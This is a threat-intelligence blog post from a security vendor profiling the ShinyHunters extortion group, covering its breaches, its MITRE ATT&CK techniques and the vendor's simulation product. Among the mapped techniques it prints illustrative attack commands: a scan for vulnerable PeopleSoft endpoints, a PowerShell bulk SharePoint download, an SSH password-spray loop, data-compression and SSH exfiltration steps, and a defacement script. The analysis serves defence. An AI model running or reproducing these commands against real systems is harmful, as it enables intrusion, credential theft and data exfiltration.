The ShinyHunters Domino Effect: One Breach, Hundreds of Victims

Umut Bayram | 16 MIN READ

| June 24, 2026

Key Takeaways

ShinyHunters is a financially motivated extortion group using a pay-or-leak model, demanding bitcoin ransoms within 72 hours.
Voice phishing is the signature initial access method, with operators impersonating IT support and scaling calls using AI voice agents.
Stolen valid SSO, Okta, and Microsoft 365 accounts let intrusions start by simply logging in, bypassing many preventive controls.
A supply chain compromise via stolen OAuth tokens cascades an intrusion across hundreds of downstream Salesforce and SaaS customer organizations.
Recent campaigns exploited the Oracle PeopleSoft zero-day CVE-2026-35273, hitting over 100 organizations across roughly 300 instances, mostly universities.
Picus Threat Library includes network infiltration, e-mail infiltration, and data exfiltration threats for ShinyHunters to validate security controls using the Picus Platform.

First emerging in 2020, ShinyHunters is a financially motivated data extortion group that primarily targets enterprise cloud and SaaS platforms such as Salesforce, Snowflake, Okta, and Microsoft 365, across sectors spanning finance, insurance, education, telecom, and retail.

Across its campaigns, the group consistently relies on voice phishing (vishing), stolen valid SSO accounts, OAuth token abuse, and third-party supply chain compromise, followed by "pay-or-leak" extortion rather than encryption.

In this blog, we will analyze ShinyHunters across campaigns, their recent data breaches, and TTPs. At the end, we will show how Picus validates your security controls against this threat.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Recent ShinyHunters Data Breaches?

ShinyHunters data breaches in 2025–2026 fall into two patterns: direct compromises of individual organizations, and ecosystem breaches where a single intrusion cascades across hundreds of downstream victims. The lists below cover both, with the most recent ShinyHunters attacks first within each category.

Individual Organization Breaches

These are incidents where a single organization was the breached victim:

June 2026 - Kodak confirmed a data breach after ShinyHunters threatened to leak roughly 2.2 million records.

June 2026 - Amazon One Medical was listed on the leak site with a claimed 8.8TB of stolen data.

June 2026 - Council of Europe employee data (297GB) was published after a missed deadline, affecting over 10,000 employees and contractors.

June 2026 - NAIC breach claimed 3.1TB from the insurance regulator, including regulatory filings, financial statements, and personally identifiable information.

May 2026 - DentaQuest data trove of 234GB published, affecting 2.6 million people, including health insurance and contact details.

April 2026 - Udemy breach claimed, with over 1.4 million user records containing PII and internal corporate data.

April 2026 - Carnival Cruise breach exposed nearly 6 million people's names, birth dates, passport details, and loyalty information.

April 2026 - ADT breach stole personal information of 5.5 million individuals via a compromised Okta account and Salesforce.

April 2026 - Rockstar Games breached downstream of Anodot, with nearly 80 million records claimed, including GTA Online analytics.

March 2026 - European Commission breached, with over 350GB leaked, affecting 42 internal clients and at least 29 EU entities.

March 2026 - Telus Corporation and Telus Digital were hit, with over 1 petabyte claimed stolen and a $65 million ransom demand.

March 2026 - Aura, an online security company, had over 900,000 records accessed, including names, addresses, and phone numbers.

February 2026 - Odido breach affected around 6 million people (21 million records), with data leaked to the dark web.

February 2026 - Wynn Resorts targeted, with the group claiming theft of over 800,000 customer records plus employee data.

February 2026 - Figure Technology Solutions had around 1 million person records stolen and leaked in the Okta SSO campaign.

January 2026 - Panera Bread breach affected around 5 million people through exploitation of a Microsoft Entra SSO installation.

January 2026 - Grubhub was targeted in a combined extortion bundling several older and newer breach incidents into one campaign.

December 2025 - SoundCloud breach exposed personal information tied to roughly 29.8 million user accounts, including emails and locations.

Ecosystem / Platform Breaches

These are choke-point compromises where one intrusion fanned out across many downstream organizations.

May–June 2026 - Oracle PeopleSoft zero-day (CVE-2026-35273) exploited against roughly 300 instances at 100+ organizations, 68% in higher education.

April–May 2026 - Instructure's Canvas LMS breached, with 3.65TB claimed, affecting 275 million users across 8,809 educational institutions.

April 2026 - Anodot analytics provider compromised; stolen tokens reused against 13+ customers, including Snowflake, Rockstar Games, and Canvas.

March 2026 - Salesforce Experience Cloud misconfigurations exploited to gain anonymous API access to customer data across instances.

January 2026 - Vishing campaign targeted enterprise SSO environments, including Okta customers, capturing credentials and MFA codes across organizations.

November 2025 - Gainsight token abuse cascaded to more than 200 Salesforce instances, prompting Salesforce to revoke OAuth access.

August 2025 - Salesloft Drift integration OAuth tokens stolen, enabling unauthorized access to roughly 760 downstream Salesforce customer organizations.

Which MITRE ATT&CK Techniques Does ShinyHunters Use?

Note: ShinyHunters operates as part of a broader eCrime ecosystem; several techniques below (especially vishing and SSO targeting) reflect collaboration with affiliated social-engineering operators, but are presented here under the ShinyHunters operation as branded and tracked across the analyzed campaigns.

Tactic: Reconnaissance

T1595 Active Scanning

When attacking Oracle PeopleSoft, ShinyHunters scanned the internet to find servers running the vulnerable PeopleSoft Environment Management Hub (PSEMHUB) and exploited CVE-2026-35273 as a zero-day.

More than 100 exposed organizations were later identified by their IP addresses, and about 68% of them were universities and colleges [2].

Below is an illustrative command example for active-scanning of CVE-2026-35273:

# mass scan for the targeted PeopleSoft endpoint prior to exploitation

# httpx-style probe across a CIDR range for the EMHub listener

cat targets.txt | httpx -path "/PSEMHUB/hub" -mc 200,302,401 -title -silent

# follow-up probe of the Integration Broker listener used in the SSRF/exploit chain

cat live.txt | httpx -path "/PSIGW/HttpListeningConnector" -mc 200,500 -silent

Tactic: Resource Development

T1583 Acquire Infrastructure

ShinyHunters registers a lot of look-alike infrastructure. In one set of Okta-themed phishing pages, it cloned an Okta subdomain and reused it across many hosts and domains, such as bless-invite[.]com [1].

In its early-2026 attacks, the group registered large numbers of domains that imitate company portals. The naming patterns it used include:

<companyname>sso[.]com

my<companyname>sso[.]com

my-<companyname>sso[.]com

<companyname>internal[.]com

...

When attacking Oracle PeopleSoft, the C2 and staging domain azurenetfiles[.]net was picked to look like a real cloud-storage address [2].

T1588 Obtain Capabilities

The group sets up legitimate commercial and non-commercial tools for malicious use:

AI voice-agent platforms (Vapi, Bland AI) and VoIP services (Twilio, Google Voice, 3CX) to run vishing calls at scale
The open-source MeshCentral remote-management server and its meshctrl.js command-line tool for C2
Remote Monitoring and Management (RMM) tools such as AnyDesk and ConnectWise ScreenConnect, which it gets victims to install.

T1608 Stage Capabilities

When attacking Oracle PeopleSoft, the operators left their staging servers open to the internet on Python SimpleHTTP servers, exposing ready-to-deploy Windows MeshCentral agents.

They also used the acme-client package to automatically get free TLS certificates for their fake domain.

# Install MeshCentral C2 server

npm install meshcentral@1.1.59

# Install ACME client to auto-provision Let's Encrypt certs for the masquerading domain

npm install acme-client

T1650 Acquire Access

ShinyHunters actively pays to get inside target networks. A threat actor in the group recruited insiders across finance, insurance, aviation, telecom, automotive, retail, hospitality, energy, and investment firms, offering money for access to Okta, Microsoft SSO, Citrix VPN, or Git (GitHub/GitLab). It also buys and sells access among other criminal groups.

The recruitment post is shown below [1]:

IF YOU HAVE OKTA OR MS SSO OR CITRIX ACCESSES MESSAGE @shinyc0rp YOU WILL BE PAID NICELY!!!!

SECTORS OF INTEREST:

credit bureaus, insurance, finance/banking, aviation/travel agencies,

car companies/motor, retail companies, fastfood/restaurant, hotels,

telecoms, gasoline companies, investment companies ... and etc along these line

Tactic: Initial Access

T1078 Valid Accounts

Because the group's social engineering hands it real logins, sessions, and OAuth approvals, most break-ins start by simply logging in. Hacked SSO/Okta and Microsoft 365 accounts are used to sign into cloud environments. Since these are valid logins, they slip past many preventive controls.

T1190 Exploit Public-Facing Application

The group’s most recent attack exploited Oracle PeopleSoft CVE-2026-35273 (remote code execution, CVSS 9.8) in the Environment Management component as a zero-day, hitting /PSEMHUB/hub and abusing /PSIGW/HttpListeningConnector for Server-Side Request Forgery (SSRF) to get around access controls.

T1195 Supply Chain Compromise

ShinyHunters likes to get into one trusted system that connects to many others.

It uses stolen high-privilege engineering logins (Git, BrowserStack, JFrog, cloud project-management tools) to reach CI/CD pipelines, source code, and build-and-deploy workflows [1].

In the Salesloft Drift attacks, it abused stolen OAuth tokens from a widely used third-party app to reach many connected Salesforce environments at once [4].

T1566 Phishing

Phishing, and especially voice phishing, is the group's signature way in. Operators call victims pretending to be IT support and send them to attacker-controlled or weaponized pages.

When stealing Salesforce data, the caller walks the victim to the real connected-app setup page and has them type in a connection code that approves an attacker-controlled "Data Loader" app.

The group also scales up calls with AI voice agents (Bland AI conversational "pathways") and "press-1" (P1) Telegram-bot services over Google Voice/VoIP. These play recorded prompts, capture credentials, and automate the login steps [1].

In its early-2026 attacks, it used live vishing with an "MFA update" excuse to push victims onto fake company login pages [5].

Tactic: Execution

T1059 Command and Scripting Interpreter

In its early-2026 attacks, ShinyHunters used PowerShell to bulk-download files from SharePoint and OneDrive. An example command the group could run is given below:

Connect-PnPOnline -Url "https://victim.sharepoint.com/sites/Finance" -Interactive

Get-PnPListItem -List "Documents" -PageSize 500 | ForEach-Object { $src = $_.FieldValues.FileRef Get-PnPFile -Url $src -Path "C:\exfil" -FileName (Split-Path $src -Leaf) -AsFile -Force }

When attacking Oracle PeopleSoft, all the hands-on work was done in the Unix shell: a bash spreading script, inline grep/mount/cat recon, and SQL*Plus commands run from the shell.

In the Oracle Access Manager break-in, the operator used SQL*Plus to run queries and dump data from the production database.

T1072 Software Deployment Tools

ShinyHunters turned the MeshCentral remote-management platform into a delivery channel, using its meshctrl.js command-line RunCommand feature to push and run its spreading script on every connected machine at once [2]:

node meshctrl.js RunCommand --loginuser admin --loginpass '[password]' --id '[agent_id]' --run 'bash /tmp/[victim_abbreviation]_fanout.sh'

Tactic: Stealth

T1036 Masquerading

Disguising files and infrastructure runs through all of this group's activity.

When attacking Oracle PeopleSoft, the MeshCentral agents were named to look like cloud-operations tools (meshagent32-azure-ops.exe, meshagent64-azure-ops.exe, meshagent64-v2.exe) and connected to azurenetfiles[.]net, a name chosen to look like a real cloud-storage address.

When stealing Salesforce data, the malicious connected app was named to match the phone-call story (for example, "My Ticket Portal"), so approving it looked routine.

The Okta phishing pages were exact copies of a real trial subdomain, re-skinned for each target company.

T1070 Indicator Removal

ShinyHunters routinely cleans up after itself.

In the Salesloft Drift theft, the attacker deleted its query jobs to leave fewer traces (though server logs still survived).

In its early-2026 attacks, operators turned on a Google Workspace add-on (ToogleBox Recall) that can permanently delete mail, removed the Okta "Security method enrolled" alert, and deleted the phishing messages they had sent from hacked mailboxes.

T1090 Proxy

To hide where they were working from, the Salesforce attacks routed setup calls and automated data collection through Mullvad VPN and TOR exit nodes.

In its early-2026 attacks, the group worked behind commercial VPN and residential-proxy networks (Mullvad, Oxylabs, NetNut, 9Proxy, Infatica, nsocks).

Tactic: Credential Access

T1110 Brute Force

When attacking Oracle PeopleSoft, the spreading script sprayed SSH passwords across internal hosts using a built-in list of usernames and passwords [2]:

# spray loop excerpt from [victim_abbreviation]_fanout.sh

for h in $HOSTS; do

for u in $USERS; do

for p in $PWDS; do

sshpass -p "$p" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=6 \

-o BatchMode=no $u@$h "hostname" >/dev/null 2>&1 && { ... ; break 2; }

done

T1111 Multi-Factor Authentication Interception

Vishing calls capture one-time MFA codes as they happen, either by getting the victim to read the code aloud or by collecting it on the fake page, so the attacker can clear the MFA prompt and finish signing in or approving an app.

Tactic: Discovery

T1016 System Network Configuration Discovery

On hacked PeopleSoft hosts, the operators mapped the internal network by reading the process-scheduler config for machine names and IPs, checking mounts, and reading WebLogic XML [2]:

grep -hE '^[[:space:]]*Address=|^[[:space:]]*HostName=' \ /u01/app/psoft/ps_config_homes/csprd/appserv/prcs/psappsrv.cfg 2>/dev/null | head -80

mount | grep -E "psoft|ps_config|nfs"

T1018 Remote System Discovery

The spreading script finds internal PeopleSoft machines by reading /etc/hosts for a victim-specific naming pattern, building the list of hosts to spray [2]:

# Host enumeration from the fanout script

HOSTS=$(grep -E '[redacted_victim_host_pattern]|csprd[0-9]' /etc/hosts | awk '{print $2}' | grep -v '^#' | sort -u)

Tactic: Lateral Movement

T1021 Remote Services

When attacking Oracle PeopleSoft, the spreading script moves sideways over SSH, logging in to internal machines with sprayed sshpass credentials and falling back to key-based login.

An example usage of the sshpass tool is given below:

sshpass -p '[password]' ssh -o StrictHostKeyChecking=no admin@10.0.0.5 "hostname; id"

Tactic: Collection

T1114 Email Collection

In the Salesloft Drift attacks, the "Drift Email" tokens were used to read the mailboxes of Workspace accounts that had been set up for that link, collecting their email.

T1119 Automated Collection

When stealing Salesforce data, the theft was automated bulk export: the modified Data Loader (and later custom Python) goes through objects and pages through records.

In the Drift theft, the attacker scripted SOQL COUNT() queries across objects and then pulled full record sets [4]:

-- Object enumeration then bulk pull seen in the Salesloft Drift attacks

SELECT COUNT() FROM Account;

SELECT COUNT() FROM Opportunity;

SELECT COUNT() FROM User;

SELECT COUNT() FROM Case;

SELECT Id, Username, Email, FirstName, LastName, Name, Title, CompanyName,

Department, Phone, MobilePhone, IsActive, LastLoginDate, CreatedDate

FROM User WHERE IsActive = true

ORDER BY LastLoginDate DESC NULLS LAST LIMIT 20;

T1213 Data from Information Repositories

In its early-2026 attacks, operators searched cloud document stores for valuable content using keywords such as poc, confidential, internal, proposal, salesforce, and vpn, and went after personal data (PII) held in Salesforce and Slack.

# Search terms run against SharePoint/M365 repositories

poc confidential internal proposal salesforce vpn

T1560 Archive Collected Data

On the PeopleSoft staging host, the stolen folders were archived and compressed with zstd before being moved off [2]:

# Compression command

pv -s "$(du -sb exfil | awk '{print $1}')" | zstd -3 -T0 -o exfil.tar.zst

Tactic: Command and Control

T1573 Encrypted Channel

C2 is wrapped in TLS: the wss://…:443/agent.ashx channel uses the free Let's Encrypt certificates set up for the disguised domain, so the beacons are encrypted and certificate-validated.

Tactic: Exfiltration

T1041 Exfiltration Over C2 Channel

The group's activity includes sending stolen data back out over its existing C2 channel, in line with its MeshCentral-based, WebSocket control setup.

T1048 Exfiltration Over Alternative Protocol

When attacking Oracle PeopleSoft, the operators finished by opening an outbound SSH connection from the staging host to the IP hosting the public mirror of the data-leak site, moving the compressed archive onto their leak infrastructure over SSH [2]:

# Final exfil hop from the staging host to the DLS clearnet mirror

ssh <user>@<IP address of the machine which is the public mirror of the data-leak site>

Tactic: Impact

T1491.001 Defacement: Internal Defacement

When attacking Oracle PeopleSoft, the fanout script dropped a defacement and extortion marker file, README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT, into the WebLogic and Process-Scheduler folders on every machine it could reach, then checked that it was there [2]:

# marker drop + verification logic from [victim_abbreviation]_fanout.sh

NAME="README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT"

for dest in $BASE/webserv/CSPRD $BASE/webserv/CSPRD02 $BASE/appserv/prcs; do

if [ -d "$dest" ]; then cp -f "$SRC" "$dest/$NAME" && chmod 644 "$dest/$NAME"; fi

done

find $BASE -name "$NAME" -type f 2>/dev/null # confirm propagation

T1657 Financial Theft

The end goal is money through extortion. Operators make ransom demands (usually bitcoin within 72 hours), leak samples to force payment, harass staff, post victims to a "SHINYHUNTERS" data-leak site, and sell stolen data to other criminals for more than $1M per company.

How Picus Simulates ShinyHunters Attacks?

We strongly suggest simulating ShinyHunters Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following network infiltration and e-mail infiltration threats for ShinyHunters:

Threat ID	Threat Name	Attack Module
27255	ShinyHunters Threat Group Campaign Malware Download Threat	Network Infiltration
70045	ShinyHunters Threat Group Campaign Malware Email Threat	E-mail Infiltration

We also highly recommend simulating data exfiltration attacks by ShinyHunters and hundreds of other threat groups to validate the effectiveness of your Data Loss Prevention (DLP) controls using the Picus Data Exfiltration Module.

Picus Threat Library includes the following data exfiltration threats for ShinyHunters:

Threat ID	Threat Name	Attack Module
26895	Critical OS Data Exfiltration Campaign	Data Exfiltration
30640	Source Code Data Exfiltration Campaign	Data Exfiltration
49541	PDF Format Data Exfiltration Campaign	Data Exfiltration
96916	XLS(X) Format Data Exfiltration Campaign	Data Exfiltration
60131	DOC(X) Format Data Exfiltration Campaign	Data Exfiltration
30199	Payment Card Industry (PCI) Data Exfiltration Campaign - 1	Data Exfiltration
69511	Payment Card Industry (PCI) Data Exfiltration Campaign - 2	Data Exfiltration
47972	Payment Card Industry (PCI) Data Exfiltration Campaign - 3	Data Exfiltration
21600	Payment Card Industry (PCI) Data Exfiltration Campaign - 4	Data Exfiltration
24992	Payment Card Industry (PCI) Data Exfiltration Campaign - 5	Data Exfiltration
86756	Personally Identifiable Information (PII) Data Exfiltration Campaign - 1	Data Exfiltration
71123	Personally Identifiable Information (PII) Data Exfiltration Campaign - 2	Data Exfiltration
35732	Country Specialized Data (US) Exfiltration Campaign	Data Exfiltration
51350	Payment Card Industry (US) Data Exfiltration Campaign	Data Exfiltration
50011	Payment Card Industry (UK) Data Exfiltration Campaign	Data Exfiltration
58765	Country Specialized Data (U.K.) Exfiltration Campaign - 1	Data Exfiltration
80898	Country Specialized Data (U.K.) Exfiltration Campaign - 2	Data Exfiltration
61054	Financial (UK) Data Exfiltration Campaign	Data Exfiltration
47996	DOC(X) Format (UK) Data Exfiltration Campaign	Data Exfiltration
25566	XLS(X) Format (U.K.) Data Exfiltration Campaign	Data Exfiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

References

[1] “ShinyHunters Calling: Financially Motivated Data Extortion Group Targeting Enterprise Cloud Applications.” Accessed: Jun. 23, 2026. [Online]. Available: https://blog.eclecticiq.com/shinyhunters-calling-financially-motivated-data-extortion-group-targeting-enterprise-cloud-applications

[2] “ShinyHunters Targets Education Sector with Oracle PeopleSoft Exploit,” Google Cloud Blog. Accessed: Jun. 23, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-targets-education-sector-oracle-exploit

[3] “The Cost of a Call: From Voice Phishing to Data Extortion,” Google Cloud Blog. Accessed: Jun. 23, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/voice-phishing-data-extortion

[4] “Widespread Data Theft Targets Salesforce Instances via Salesloft Drift,” Google Cloud Blog. Accessed: Jun. 23, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift

[5] “Tracking the Expansion of ShinyHunters-Branded SaaS Data Theft,” Google Cloud Blog. Accessed: Jun. 23, 2026. [Online]. Available: https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft

ShinyHunters is a financially motivated data extortion group that first emerged in 2020. It primarily targets enterprise cloud and SaaS platforms such as Salesforce, Snowflake, Okta, and Microsoft 365, across sectors spanning finance, insurance, education, telecom, and retail, relying on a pay-or-leak extortion model rather than encryption.

Voice phishing (vishing) is the signature initial access method. Operators call victims pretending to be IT support and direct them to attacker-controlled or weaponized pages. The group scales these calls using AI voice agents and press-1 Telegram-bot services over VoIP, capturing credentials and MFA codes to complete logins.

The end goal is money through extortion. Operators make ransom demands, usually bitcoin within 72 hours, leak data samples to force payment, harass staff, and post victims to a SHINYHUNTERS data-leak site. Stolen data is also sold to other criminals for more than $1M per company.

ShinyHunters targets choke-point systems connected to many others. By stealing OAuth tokens from widely used third-party apps, one intrusion cascades across downstream environments. The Salesloft Drift compromise enabled access to roughly 760 downstream Salesforce customer organizations, while Gainsight token abuse reached more than 200 Salesforce instances.

CVE-2026-35273 is an Oracle PeopleSoft remote code execution zero-day with a CVSS score of 9.8, found in the Environment Management component. ShinyHunters exploited it against roughly 300 instances at over 100 organizations, with about 68% in higher education, hitting the PSEMHUB endpoint and abusing the Integration Broker for Server-Side Request Forgery.

Recent incidents include Kodak, with roughly 2.2 million records threatened, and ADT, affecting 5.5 million individuals via a compromised Okta account and Salesforce. Ecosystem breaches included the Oracle PeopleSoft zero-day CVE-2026-35273, exploited against roughly 300 instances at over 100 organizations, with 68% in higher education.

The Picus Platform lets organizations simulate ShinyHunters attacks to test the effectiveness of security controls against real-life cyber attacks. The Picus Threat Library includes network infiltration, e-mail infiltration, and data exfiltration threats for ShinyHunters. A 14-day free trial is available.